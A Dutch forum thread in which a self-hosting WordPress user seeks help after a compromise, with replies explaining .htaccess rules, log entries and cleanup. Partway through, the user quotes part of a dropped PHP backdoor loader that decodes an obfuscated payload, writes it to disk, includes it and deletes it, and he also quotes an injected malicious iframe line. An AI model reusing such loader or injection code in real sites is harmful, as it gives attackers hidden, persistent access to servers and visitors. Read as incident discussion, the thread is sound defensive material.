wordpress gekraakt, htacces veranderd

Pagina: 1
Acties:
  • 3.237 views

Onderwerpen

Vraag


Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Mijn wachtwoord was van een andere site gepakt, toen werden mijn wordpresssites gekraakt. Er werden nieuwe gebruikers toegevoegd en ik kreeg error 500. Alle wachtwoorden veranderd, een website compleet opnieuw moeten installeren en Synology beveiliging verbeterd. Maar nu toch weer bij een site error 500. Na htacces weer terug veranderd te hebben kon ik er weer in.
En ja hoor, een nieuwe gebruiker. De.htaccess was veranderd in:

<FilesMatch '.(php|php5|phtml)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^index.php$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Wat is de bedoeling van de hacker hiermee? Ik ben niet op de hoogte van de scripttaal.
Ik gebruikt een (uiteraard ander) .htaccess script voor de https, die heb ik er nu ingezet en de site werkt normaal.

Ook maak ik me zorgen, hoe komt een wordpress gebruiker/hacker in de mogelijkheid om htaccess te veranderen?

reindu

Beste antwoord (via reindu op 18-11-2021 09:34)


  • bcome
  • Registratie: September 2013
  • Laatst online: 13:52
Wordpress past automatisch de .htaccess aan als je "pretty URLs" aan hebt staan:
https://wordpress.org/sup...tically-updating-htaccess

Laten we alsjeblief niet doemscenario's over backdoors gaan bedenken terwijl het gewoon functionaliteit is van de software die je draait. Verder kan ik je aanraden om de webserver enkel schrijfrechten te geven op de bestanden die wordpress daadwerkelijk moet schrijven, en al het andere enkel leesrechten om dit soort situaties te voorkomen.

Voor de volledigheid nog even een uitleg wat het allemaal doet. Kleine fouten daargelaten omdat ik al jaren NGINX gebruik:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Aanroepen die eindigen op een punt gevolgd door php,php5 of phtml
<FilesMatch '.(php|php5|phtml)$'>
Order allow,deny
# Weiger toegang
Deny from all
</FilesMatch>
# Aanroepen die enkel "index.php" heten
<FilesMatch '^index.php$'>
Order allow,deny
# Sta toegang toe
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
# Een regel voor index.php, stop met controleren van regels na deze
RewriteRule ^index\.php$ - [L]
# Als het aangeroepen pad niet een bestaand bestand is
RewriteCond %{REQUEST_FILENAME} !-f
# Als het aangeroepen pad niet een bestaande map is
RewriteCond %{REQUEST_FILENAME} !-d
# Stuur alles naar index.php
RewriteRule . /index.php [L]
</IfModule>

[ Voor 45% gewijzigd door bcome op 17-11-2021 16:17 ]

Alle reacties


Acties:
  • 0 Henk 'm!

  • Hydra
  • Registratie: September 2000
  • Laatst online: 21-08 17:09
Ik denk dat het een back-door is om toegang te kunnen krijgen op elke file op het systeem door een REQUEST_FILENAME te zetten.

https://niels.nu


Acties:
  • Beste antwoord
  • +2 Henk 'm!

  • bcome
  • Registratie: September 2013
  • Laatst online: 13:52
Wordpress past automatisch de .htaccess aan als je "pretty URLs" aan hebt staan:
https://wordpress.org/sup...tically-updating-htaccess

Laten we alsjeblief niet doemscenario's over backdoors gaan bedenken terwijl het gewoon functionaliteit is van de software die je draait. Verder kan ik je aanraden om de webserver enkel schrijfrechten te geven op de bestanden die wordpress daadwerkelijk moet schrijven, en al het andere enkel leesrechten om dit soort situaties te voorkomen.

Voor de volledigheid nog even een uitleg wat het allemaal doet. Kleine fouten daargelaten omdat ik al jaren NGINX gebruik:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Aanroepen die eindigen op een punt gevolgd door php,php5 of phtml
<FilesMatch '.(php|php5|phtml)$'>
Order allow,deny
# Weiger toegang
Deny from all
</FilesMatch>
# Aanroepen die enkel "index.php" heten
<FilesMatch '^index.php$'>
Order allow,deny
# Sta toegang toe
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
# Een regel voor index.php, stop met controleren van regels na deze
RewriteRule ^index\.php$ - [L]
# Als het aangeroepen pad niet een bestaand bestand is
RewriteCond %{REQUEST_FILENAME} !-f
# Als het aangeroepen pad niet een bestaande map is
RewriteCond %{REQUEST_FILENAME} !-d
# Stuur alles naar index.php
RewriteRule . /index.php [L]
</IfModule>

[ Voor 45% gewijzigd door bcome op 17-11-2021 16:17 ]


Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Bcome, enorm bedankt. Ik maakte mij behoorlijk ongerust, in mijn hoofd zaten allemaal doemscenario's.
Ik heb meteen alle htaccessén op only read gezet. Ik zal nog zoeken naar pretty URLs. Maar ondanks je uitleg, is mij door mijn gebrekkige kennis niet duidelijk wat de hacker met het scripr wil.Tikt hij op het webadres filenamen in om die te kunnen inlezen?

reindu


Acties:
  • +1 Henk 'm!

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
Begin dan met de pretty urls.

Stel je hebt een url naar een pagina: hostnamehiero.nl/pagina/42/mijn-kattenfotos

Het bestandje pagina/42/mijn-kattenfotos bestaat dan niet echt, maar dankzij de rewrite kan wordpress, dat vanaf index.php opstart, wel die specifieke pagina gaan opbouwen en serveren.

That’s all.

Een error 500 is ook niet per se spannend. Kwestie van in je applicatie logs kijken.

{signature}


Acties:
  • +1 Henk 'm!

  • Creepy
  • Registratie: Juni 2001
  • Laatst online: 12:16

Creepy

Tactical Espionage Splatterer

reindu schreef op woensdag 17 november 2021 @ 17:23:
Bcome, enorm bedankt. Ik maakte mij behoorlijk ongerust, in mijn hoofd zaten allemaal doemscenario's.
Ik heb meteen alle htaccessén op only read gezet. Ik zal nog zoeken naar pretty URLs. Maar ondanks je uitleg, is mij door mijn gebrekkige kennis niet duidelijk wat de hacker met het scripr wil.Tikt hij op het webadres filenamen in om die te kunnen inlezen?
Dit was een update van wordpress, of een aanpassing van een setting in wordpress. Dat heeft je .htacces doen veranderen. Niet een hacker. Er is qua .htaccess in dit geval niks aan de hand.

"I had a problem, I solved it with regular expressions. Now I have two problems". That's shows a lack of appreciation for regular expressions: "I know have _star_ problems" --Kevlin Henney


Acties:
  • +1 Henk 'm!

  • AW_Bos
  • Registratie: April 2002
  • Laatst online: 15:32

AW_Bos

Liefhebber van nostalgie... 🕰️

Los van het feit dat er geen sprake is van hacking, snap ik niet waar je de nieuwe users ziet verschijnen.

[ Voor 47% gewijzigd door AW_Bos op 18-11-2021 11:33 ]

Telecommunicatie van vroeger
🚅Alles over spoor en treintjes


  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Creepy, dat zou mooi zijn. Maar toch een rare update, waardoor je een error 500 krijgt. Bovendien, waarom wordt dit in de ene site wel en in alle andere sites niet veranderd. De Wordpress versie is bij mij overal dezelfde (de laatste)..Ik kreeg een bericht van ik weet niet meer welkje site, dat de wachtwoorden waren gehacked, en inderdaad de sites van Wordpress met dat wachtwoord gaven even later problemen. Ook toen op alle sites nieuwe gebruikers. Ik heb toen alle wachtwoorden veranderd, maar nu er weer wat aan de gang is, dacht ik meteen aan hacken.
Die nieuwe gebruikers zie je in het scherm gebruikers van Wordpress, ze hebben een of andere willekeurige naam van een serie letters.
Ik heb een script in mijn htaccess omdat het met https niet liep. Ik gebruikte dat script van VictorV om "Je kunt met .htaccess in de Web shared folder het verkeer op poort 80 redirecten naar 443 en requests voor domeinen ombuigen (bijv domein.com naar www.domein.com).
Het verkeer van buiten kan allemaal op dezelfde twee poorten HTTP/80- HTTPS/443 binnenkomen en de rewrite rules zorgen ervoor dat het juiste verkeer naar de juiste site wordt geforward"
Dat script was:

# redirect "http://domein.com", "http://allesbehalvewww.domein.com", maar ook "https://domein.com" naar https://www.domein.com
RewriteCond %{HTTP_HOST} ^!(www\.)domein\.com$ [OR,NC]
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://www.domein.com%{REQUEST_URI} [R=301,L]

en dat werkte.

reindu


Acties:
  • 0 Henk 'm!

  • luukvr
  • Registratie: Juni 2011
  • Niet online
Is misschien beter dit soort toevoegingen buiten de wordpress code te doen, bij elke update heb je kans dat dit weer verdwijnt.

Doe dit soort redirects gewoon in de sites available settings van apache of nginx (of whatever je gebruikt)

Acties:
  • 0 Henk 'm!

  • Creepy
  • Registratie: Juni 2001
  • Laatst online: 12:16

Creepy

Tactical Espionage Splatterer

Als je een error 500 krijgt, kijk dan eerst eens in de logs wat die melding dan precies is. Dat kan namelijk echt van alles zijn. Dat er "ineens" iets niet meer werkt betekent niet automatisch dat je weer bent gehackt zoals de vorige keer. Met de informatie die je nu geeft (alleen .htaccess aangepast) lijk je niet gehackt te zijn aangezien de .htaccess gewoon normaal is. En de error 500 vind je terug in de apache logs. Als jij daar niet bij kan, dan zou je hoster je verder moeten kunnen helpen.

"I had a problem, I solved it with regular expressions. Now I have two problems". That's shows a lack of appreciation for regular expressions: "I know have _star_ problems" --Kevlin Henney


Acties:
  • +1 Henk 'm!

  • AW_Bos
  • Registratie: April 2002
  • Laatst online: 15:32

AW_Bos

Liefhebber van nostalgie... 🕰️

Ik hoorde al dat het om een Synology ging, en dus geen hosting ;)

Kijk eens in deze log-file:
/var/log/httpd-error-user.log

Telecommunicatie van vroeger
🚅Alles over spoor en treintjes


Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Ik moet nog uitzoeken hoe ik in die logs kom, ik ben het unix gebeuren een beetje kwijt.Met putty erin. Ik vond apache24-error_log.5.xz. Uit een diep verleden wist ik nog de vi-editor te herinneren, maar daar kreeg ik alleen een willekeurige chaos te zien, geen tekst.

Maar dat ik gehackt ben, is nu wel duidelijk. Als je in google het webadres zoekt kom je in een verwijzing van Chines site vol chinese letters, klikken op de link levert nu gelukkig wel mijn site op.
Afbeeldingslocatie: https://tweakers.net/i/_ZlrkSSkVGoEhvNLw9reWcjohKE=/full-fit-in/4920x3264/filters:max_bytes(3145728):no_upscale():strip_icc():fill(white):strip_exif()/f/image/Irr0hE6sLn12fLUR530m0RNk.jpg?f=user_large

reindu


Acties:
  • 0 Henk 'm!

  • xh3adshotx
  • Registratie: Oktober 2011
  • Laatst online: 28-02-2023
Hoe heb je de website opnieuw geïnstalleerd? Mogelijk is iets teruggezet met een back-up file?

Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Ah, ik moest de apache24-error_log hebben. Daar stond 7 keer, allemaal op 2 november, de poort achter 106.75.152.123 varieert, in:

2021-11-02T15:15:08+01:00 DISKSTATION [Tue Nov 02 15:15:08.288596 2021] [proxy_fcgi:error] [pid 19120:tid 1380971552] [client 106.75.152.123:48594] AH01071: Got error 'Primary script unknown\n', referer: anonymousfox.co

[ Voor 10% gewijzigd door reindu op 27-11-2021 21:07 ]

reindu


Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Ik heb de website niet opnieuw geinstalleerd. Ik heb de .htaccess veranderd, een nieuw wachtwoord ingevoerd en de nepgebruiker eruitgegooid.

reindu


Acties:
  • 0 Henk 'm!

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
Ik snap nog steeds weinig van je verhaal. De aard van de hack maak je niet duidelijk, en het is nog steeds onduidelijk waarom je het maar steeds over de .htaccess en ‘een gebruiker’ hebt.

Ik hoop van harte dat je het nu juist hebt ingericht en alle schade ongedaan gemaakt hebt, maar uit enkel de posts hier blijkt niet dat je het gehele plaatje overziet of zeker weet wat de schade überhaupt was.

{signature}


Acties:
  • 0 Henk 'm!

  • xh3adshotx
  • Registratie: Oktober 2011
  • Laatst online: 28-02-2023
reindu schreef op zaterdag 27 november 2021 @ 20:57:
Ik heb de website niet opnieuw geinstalleerd. Ik heb de .htaccess veranderd, een nieuw wachtwoord ingevoerd en de nepgebruiker eruitgegooid.
Dan komt het gewoon weer terug. Vaak uploaden ze ergens een bestand waar een backdoor instaat zodat ze na verlies van toegang gewoon weer controle kunnen krijgen. Twee opties:

- Weten wat je doet en opschonen
- Helemaal opnieuw beginnen (zonder back-up terug te zetten of een back-up (ver) voor de besmetting)

[ Voor 3% gewijzigd door xh3adshotx op 28-11-2021 14:56 ]


Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Voutloos,
Ik ben niet erg ingevoerd in deze materie. Dat betekent automatisch dat mijn verhaal wat rommelig is. Ik weet niet wat belangrijk is.
Ik noem het een hack, omdat iedere keer nieuwe gebruikers toegevoegd zijn en beide keren het websiteadres gekoppeld was aan een of andere Chinese site en de .htaccess veranderd was (maar dat schijnt dus niet relevant te zijn). In Wordpress heb je een 'dashboard' waar je users kan zien. Een user heeft alle bevoegdheden om aan de website te sleutelen. Maar in de websites is niets veranderd, dus lijkt mijn lekenoordeel dat het enige doel is de verwijzing naar de Wordpresssite te veranderen. De eerste keer was dat problematisch omdat je niet meer bij de website en het dashboard van Wordpress kan komen, dus toen moesten we de website opnieuw maken. Gelukkig hebben we de teksten ook elders.
Het is naar mijn idee een Wordpress gebeuren omdat ik ook een zelfgebouwde php website heb, die ook gebruikmaakt van phpMyAdmin, maar daar is niets mee aan de hand.
Het backuppen lijkt me een heel gedoe, omdat er dus 6 verschillende databases in PhpMySQL zitten. Maar dat is misschioen luiigheid.

Kan iemand me de Apache foutmelding uitleggen?

reindu


Acties:
  • 0 Henk 'm!

Verwijderd

Wss een xss attack.

Vrij makkelijk op te lossen door alles te vervangen behalve wp-content en wpconfig.php

Vervolgens ff pluginmap hernoemen naar plugins1 en Wordfence of Cerberus laten scannen.

Dit vervolgens herhalen op alle getroffen websites.

Indien mogelijk split de websites in de hostingsoftware naar gescheiden accounts.

Zo isoleer je het de volgende keer.

Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
'Makkelijk' is subjectief, hoe doe je dat?
Maar zo leer je weer wat, ik heb nu Wordfence als plugin geinstalleerd op een van de sites, kijken of hij wat vindt.

[ Voor 5% gewijzigd door reindu op 28-11-2021 20:38 ]

reindu


Acties:
  • 0 Henk 'm!

Verwijderd

Yes.

Had je toevallig ook WP2018 in de hoofdmap?

Klant van mij had laatst iets soortgelijks, ook met rare aziatische webshops.

Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Ik zie geen file met WP2018 ergens in de naam.

reindu


Acties:
  • 0 Henk 'm!

  • amst3l
  • Registratie: Mei 2009
  • Laatst online: 13-09 16:12
Ik had dit ong. een jaar geleden ook gehad. Heel vervelend probleem, maar bij mij was het destijds ook zo ver dat het als dusdanig was geindexereerd in Search Console: https://developers.google...panese_keyword_hack?hl=nl

Misschien heb je wat hieraan, vervelend is het sowieso. Wellicht ook een idee om WordFence te installeren als extra beveiliging?

Acties:
  • +1 Henk 'm!

  • Sitelabs
  • Registratie: December 2009
  • Laatst online: 16-09 19:14
Ik weet niet wat voor website(s) je draait, maar is het met beperkte kennis niet veiliger om je websites bij een hosting onder te brengen? Dit hoeft echt niet duur te zijn, afhankelijk van de hoster krijg je support en gebeuren er geen gekke dingen binnen je eigen netwerk.

Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Sitelabs, nu komen we op het gebied van een eigen levensfilosofie. Ik doe graag alles zelf en als er wat fout gaat, dan zijn het tenminste mijn eigen blunders. Met het overlaten van dingen aan anderen, bijv ICT professionals, kan ik je uit eigen ervaring hele extreme verhalen vertellen.

reindu


Acties:
  • +3 Henk 'm!

  • PatrickH89
  • Registratie: November 2009
  • Laatst online: 16-09 21:41
reindu schreef op maandag 29 november 2021 @ 18:12:
Sitelabs, nu komen we op het gebied van een eigen levensfilosofie. Ik doe graag alles zelf en als er wat fout gaat, dan zijn het tenminste mijn eigen blunders. Met het overlaten van dingen aan anderen, bijv ICT professionals, kan ik je uit eigen ervaring hele extreme verhalen vertellen.
Toch zou ik niet graag een van buitenaf bereikbare Wordpress installatie binnen mijn eigen netwerk draaien zonder veel kennis van zaken met als risico dat je Synology of andere apparaten binnen het netwerk getroffen worden. Met een goedkope webhost kun je alsnog zaken zelf regelen, maar kun je het in elk geval scheiden van je eigen gevoelige data.

Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Uit de nieuwsberichten is zo langzamerhand duidelijk, dat grote organisaties juist het doelwit zijn van hackers. Mijn NAS is niet echt interessant, ik zou niet weten hoe je geld kan maken met die informatie. Zelfs mijn dagboek, in Word met een wachtwoord, levert geen chantabele informatie. En het enige dat ik uitbesteed heb, een email-only account bij een provider, levert nu problemen, omdat een klant van hen spam verstuurde en nu mijn mail als spam bestempeld werd door internet. Het misbruik lijkt tot nu toe beperkt tot het gebruik van mijn webadres naar een Chinese website of het onklaar maken van de website. Maar daar kan je bij mij geen losgeld voor eisen, ik bouw gewoon een nieuwe.Op de zelfgemaakte PHP website heb ik een paar jaar geleden een virus invasie gehad, maar met textcrawler:Find
<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>
Replace met niks
heb ik er toen die 400 links eruit gehaald.
En, voor de duidelijkheid, het zijn vaak druk bezochte websites.

[ Voor 3% gewijzigd door reindu op 06-12-2021 20:30 ]

reindu


Acties:
  • 0 Henk 'm!

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
reindu schreef op maandag 6 december 2021 @ 20:16:
Uit de nieuwsberichten is zo langzamerhand duidelijk, dat grote organisaties juist het doelwit zijn van hackers.
Ik kan het niet aardiger brengen dan dit: Dit is complete onzin. Grote organisaties halen het nieuws. De bakker om de hoek wordt ook gehacked maar haalt het nieuws niet.
Grote organisaties worden misschien iets meer gericht aangevallen, maar alles en iedereen, geen uitzonderingen, licht onder vuur. Ook jouw NAS.
Mijn NAS is niet echt interessant, ik zou niet weten hoe je geld kan maken met die informatie.
Goed, je mag jouw data en het ongemak als 0 Euro waard inschatten, dat is jouw feestje. Maar die NAS kan ook ingezet worden om andere mensen te spammen etc.

Je gaat maar door met drogredenen. Het kan zijn dat mijn post je niet bevalt, als je nergens voor open staat kan ik je niet verder helpen.

{signature}


Acties:
  • 0 Henk 'm!

  • AW_Bos
  • Registratie: April 2002
  • Laatst online: 15:32

AW_Bos

Liefhebber van nostalgie... 🕰️

Of je haalt opeens ransomeware binnen, waarmee al je persoonlijke en voor jouw waardevolle en onvervangbare foto's in een ondoordringbare kluis vergrendeld zijn. Met NAS'sen weet ik dat de beveiliging vaak behoorlijk achterloopt. Dus als ze je aan internet hangt, doe dat dan enkel in een VLAN, en anders benader je ze enkel via VPN.

[ Voor 34% gewijzigd door AW_Bos op 06-12-2021 23:04 ]

Telecommunicatie van vroeger
🚅Alles over spoor en treintjes


Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Voutloos, je bent wat hard, maar ja, ik provoceer wel een beetje. Ik vrees dat mijn redeneringen er vaak toe moeten leiden, dat ik niks hoef te doen. Maar uit jullie reactie blijkt dat ik aan de bak moet. Maar waar ik moet beginnen is mij nog niet duidelijk. Mij is nog niet helder, wat ik nu eigenlijk voor aanval heb gehad, die rare Chinese website (overigens een keurige vertaal website begreep ik) en die nieuwe gebruikers, maar wat hebben ze gedaan (ik kan niks vinden)? Ik hou de websites op de NAS, eigen beheer heeft nu eenmaal mijn voorkeur.
Al googelend, begreep ik dat ook de Wordpress beveiliging zo lek als een mandje is, dus ook bij een provider.
En blijkbaar ook de prive Synology NAS.

reindu


Acties:
  • 0 Henk 'm!

  • kaassouffle
  • Registratie: Januari 2002
  • Laatst online: 16-09 00:06

kaassouffle

Medewerker v/d Maand

Je zegt dat je niet weet wat hackers met jouw NAS zouden moeten.. Maar het is goed om te bedenken dat veel hacks ook niet per se gericht zijn op specifieke computer, persoon of bedrijf. Het zijn vaak ook gewoon bots die geautomatiseerd het web afstruinen op zoek naar websites die bijv Wordpress draaien en op lekken zoeken.

Acties:
  • +1 Henk 'm!

  • DiedX
  • Registratie: December 2000
  • Laatst online: 09:55
Wat je moet doen is al vaak genoeg gezegd: alles herinstalleren.

Internet is niet meer wat het was. PHP zit nu ook in JPG bestanden, dus tenzij je een expert bent op dit gebied (of die in huurt), is de enige manier om zeker te zijn dat je schoon bent herinstallatie.

En ja, dat is k@t, maar wel wat het is.

DiedX supports the Roland™, Sound Blaster™ and Ad Lib™ sound cards


  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Ik ben nog aan het zoeken in de files. Van oa de 'nieuwe' gebruiker p77lfab8j5 is er een file met de naam: p77lfab8j5_index.php, daar staat niks in, maar er is dan ook een file: p77lfab8j5_index.hph die begint met

<?php
if (isset($_GET[47712]))
{
die(md5(47712));
}

$cs_name = __FILE__. ".css";
$dgreusdi = intval(__LINE__) * 337 ;$dgreusdi = 6578;

$a =

en dan eern hoop machinetaal toestand,

eindigt met:
$a = str_replace($dgreusdi, "E", $a);
$a = base64_decode($a);
$a = str_replace("FUNLINKFNAME", $cs_name, $a);

file_put_contents($cs_name, $a);
include $cs_name;
unlink($cs_name);

reindu


  • Creepy
  • Registratie: Juni 2001
  • Laatst online: 12:16

Creepy

Tactical Espionage Splatterer

Verwijder al die meuk zsm, want een hele grote kans dat de achtergelaten files een backdoor hebben zodat we weer overal bijkunnen. Die a is wat obfuscated php code die wordt weggeschreven naar een file en daarna geinclude.

Beter nog: maak een nieuwe, schone Wordpress install en zet je Wordpress database over. Dan hoef je alleen maar te controleren of er geen onbekende users in je Wordpress DB zitten en je weet dan zeker dat je van dit soort files af bent.

En je mag dan slechte ervaringen hebben met andere IT professionals, maar heel eerlijk gezegd ben je maar wat aan het doen en laat je een mogelijk gehackte site gewoon live staan. Als je de boel wil analyseren maak dan een backup en lees die op een lokale VM ofzo in, maar herinstalleer aub ZSM je live wordpress install.

[ Voor 26% gewijzigd door Creepy op 16-12-2021 23:05 ]

"I had a problem, I solved it with regular expressions. Now I have two problems". That's shows a lack of appreciation for regular expressions: "I know have _star_ problems" --Kevlin Henney


Acties:
  • 0 Henk 'm!

  • reindu
  • Registratie: November 2003
  • Laatst online: 09-04-2024
Al met al, ben ik toch teleurgesteld in de reacties. In een (ver) verleden, als je problemen had met windows, werd je hier overvallen door een horde deskundigen, die je wel even uitlegden wat je allemaal fout deed met een overdaad aan vaktermen. Er zou niemand zijn, die je door zou verwijzen naar een professionele windows deskundige, want er was ruim voldoende deskundigheid in huis. En probleem opgelost.
Dus hier verwachtte ik een reactie in de trant van: 'Oh, dat is dat en dat type domme hacker, kijk even of je dat filetje zus en zo kan vinden, delete dat en klaar.'
Maar nu? Nee hoor, het algemene advies is om als een haas alles te deleten en opnieuw te installeren. Er wordt blijkbaar op Tweakers geen deskundigheid op het gebied van hackers gedeeld en ontwikkeld. Je zou denken dat ervaringen zoals de mijne, bekeken zou worden en geevalueerd.
Ik denk, dat ik nu zonder wissen en opnieuw installeren het probleem heb opgelost, maar we zullen zien.

reindu


Acties:
  • 0 Henk 'm!

  • RobIII
  • Registratie: December 2001
  • Niet online

RobIII

Admin Devschuur®

^ Romeinse Ⅲ ja!

(overleden)
Als je gehacked zou zijn - of dat zo is is vers 2 - dan is de beste optie een schone installatie. Waarom? Omdat je nooit zéker weet of je alles gevonden hebt of dat zich nog ergens iets diep in het systeem heeft verstopt dat over een week, maand, whatever weer de kop op steekt. Of nog ergens een backdoor is achtergebleven. Een schone (her)installatie is een vrij standaard practice na infecties (en in ieder geval de veiligste). Als jij het risico wil lopen op herinfectie door wat aan te hobbyen en wat 'filetjes te wissen' dan ga vooral je gang :)
Maar om dan weken later te komen klagen en 't topic onnodig omhoog te schoppen omdat de antwoorden die je krijgt niet zijn wat je wil(de) horen terwijl mensen gewoon tijd en energie in het helpen van jou steken en "vroeger was alles beter"... neuh. Dat voegt niks toe en komt redelijk ondankbaar over.

[ Voor 21% gewijzigd door RobIII op 01-01-2022 21:28 ]

There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.

Je eigen tweaker.me redirect

Over mij

Pagina: 1

Dit topic is gesloten.